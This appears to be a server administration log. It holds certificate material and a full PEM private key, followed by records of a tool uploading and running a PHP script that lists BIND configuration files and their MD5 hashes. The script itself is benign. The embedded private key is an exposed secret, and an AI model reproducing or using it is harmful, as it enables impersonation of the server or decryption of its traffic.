AAABm4TzfqUAAAQDAEgwRgIhAN963DUoWLlCIWLfxz8dtg+L9wlBBXdMl/nYyvjD
mRAXAiEA6F///rJtTn5gIQ6IZVgM44LV47UzUCPkc4urzi1Ets0AdwDRbqmlaAd+
ZjWgPzel3bwDpTxBEhTUiBj16TGzI8uVBAAAAZuE83+CAAAEAwBIMEYCIQCYtRgJ
AzbuggCVOTGZtOyqu+8fjvVW8ZJjjRqIDBoVNwIhANS52JOpp2gbe/2NrKUfYSA8
85kwCWjOCaqXcrH5uRgbMA0GCSqGSIb3DQEBCwUAA4IBAQCChjjDbzWAjhfeRb7C
ks5czbkzBTajsTHhA8jFUz9d1JPWgnjxkeA34sHQoLzySpmk/EGt7drJUIrGuoT8
plWk2L4GKgoYD4pWnnD1J21hSIuwSO35bJUF243HOlr0ftTeMVFQu3d8HCjvpbfg
rF04fFeVOJYroSGUECUUrSu9kqwTyNxNJRIHETTVFRBCE4jq5hvA5eV2Zsnt2vnF
dSuyg4XcS7JaBaWdgve7jFvHfKMMB0Fkfn4xXo4UoWrPmbEHI6+99wySpAnzxRo3
SULnadl235/bOCKU+RJh3mga41OfpVgWIbLA3y6t/In8FWjhoT/XyUEEoZ/aIvLV
qJJ7
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC5/LSx+/4+d31u
Ah2xj8Co0jfhji1celcy3XLxsOsBhP8IJjICf6Du/F14BSxNEWv91V6kcchAf0bM
cHezsexB/j/036dz3Q1bFTRXYVauih9a/8ZLrb/8u6WvfG6mg7fA7h1sW4KNXap3
EfS/ulllrJrNJiiIzuPoNto0wTBrl5zW5+Xoy9e/bYjNhOc/vUdefBnj2O8g5HK3
uszYE2ZHLeNCTpSLQGJpn2xxaoTBvln6S3hqMkS/TxfzKXTJCX49RgPabldHdJgk
uTXHGIEDttCQfEaTeuTG2683FItKY9D4KDGn3ixj/MX2t33HIK9Eb0vCCPqvswb8
9PkKaSrzAgMBAAECggEAB3EB0SiUzMQJe+LQHwAc7xmbdxtcsO62LsinJjN0G6yf
avXi71r9l0JNV8Ar5xjThNBKMp3Y1iJ23zbVcJZQWSLxRSduXZeScWVWTElj50+L
H0rM5iSZYg/R+m+p77X6dAOISthtz0vYRl5XYr/JKY/FO9W92RzKB/WrN7bObKeO
p/LK79xhW1yZ/PE7E01AKNF3qCulZArW1FSN2KSgvcp5b4PZWNE9GfmLOq2Y4oAG
xHi0zTLwV09t8Ocnq7NmR6b1akgilSCjxJbIsLFEAriM6MiGy9j5QM54Mi7Ioy8c
wH0rXLa8Ccz760LSKtwA7LFiUUYF0b6MBka+6sVp/QKBgQDfzB+bIKrUNVdRGjZ5
0v+KvUraVh91SV6PRfeXrvsDcpmX2atBtTiuemQaSfowb+id/lsLdztLVkbz/sdN
qhm8jYeoRKDZwoZqtGNBsJx9ItAPsjbyt7Ulp0milgHw2GZv3WC6fzeW9GAwv18v
pgjulctQitrQG2sZPFZP6MLC/QKBgQDUv8q6TuAFNUBHI0gtbPg8nWODcPWcCuLT
43aNL8C58JgUeiJ3bkZCMSItgVLKWAbZJJaIAGoClFH47sr7rHWf1i+qhwXzEltr
ImgFKLJTcpc4wcDJxjgHKZ7vpqfhLkabgm++cIM7zxc/r3RIbtJLWGM4N+lxTUCl
NwSAZvNgrwKBgQDDcM61OZ0V/5NGh37FewehkNfavtVwJufGdVLZC324sA8ENppB
otJiRQ5AixRL0p8xwtydsb19eFY0ZO6Gm6MoL+0lfPF/2kpqyyfXSTYQbiOHYZps
8xPmUyaSLzB4tXMYBBuiItFYKggK6kVlJjmsqfJJX0nh7d/kxPWXiWz0vQKBgBI4
nvdX/A3WIrw1BGCHnbcrT7OZQB/uOsElESlEdsA2IABY+Yy7EB9pL+Ev21RjN6rv
XEknp+yyoVattQrbGXPoF0sGp3bLErNZTglrE+LbxKHizk05weCzKt6hqm051mhJ
QqLP5h2APiCBOXdernovhsfw2fiPQkMkNCl/J8cXAoGAa03guXFKP9HgRAUUEhP8
A4abtoazS96Z3ccT4lhyH6J+9MHI6+fTyL1yzVL++yOy4Fdau0hCoj2NrsOoPPCB
vTlX2Vb8sv7WQq8gKnq8Zu8fJ3DHxgdGIjNV6Up9upe31rEaIHNzQlHR4MYjxN6S
Zs8yfR5s+lG+0PBITRbL/fI=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-03 19:30:12: Establishing a connection
2026-01-03 19:30:13: 

PUT: /tmp/pkp180139

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:30:13: 

runuser -l bind -s /bin/bash -c '/tmp/pkp180139; rm /tmp/pkp180139'

2026-01-03 19:30:13: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:30:36: Establishing a connection
2026-01-03 19:30:46: Establishing a connection
2026-01-03 19:30:46: 

PUT: /tmp/pkp379510

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
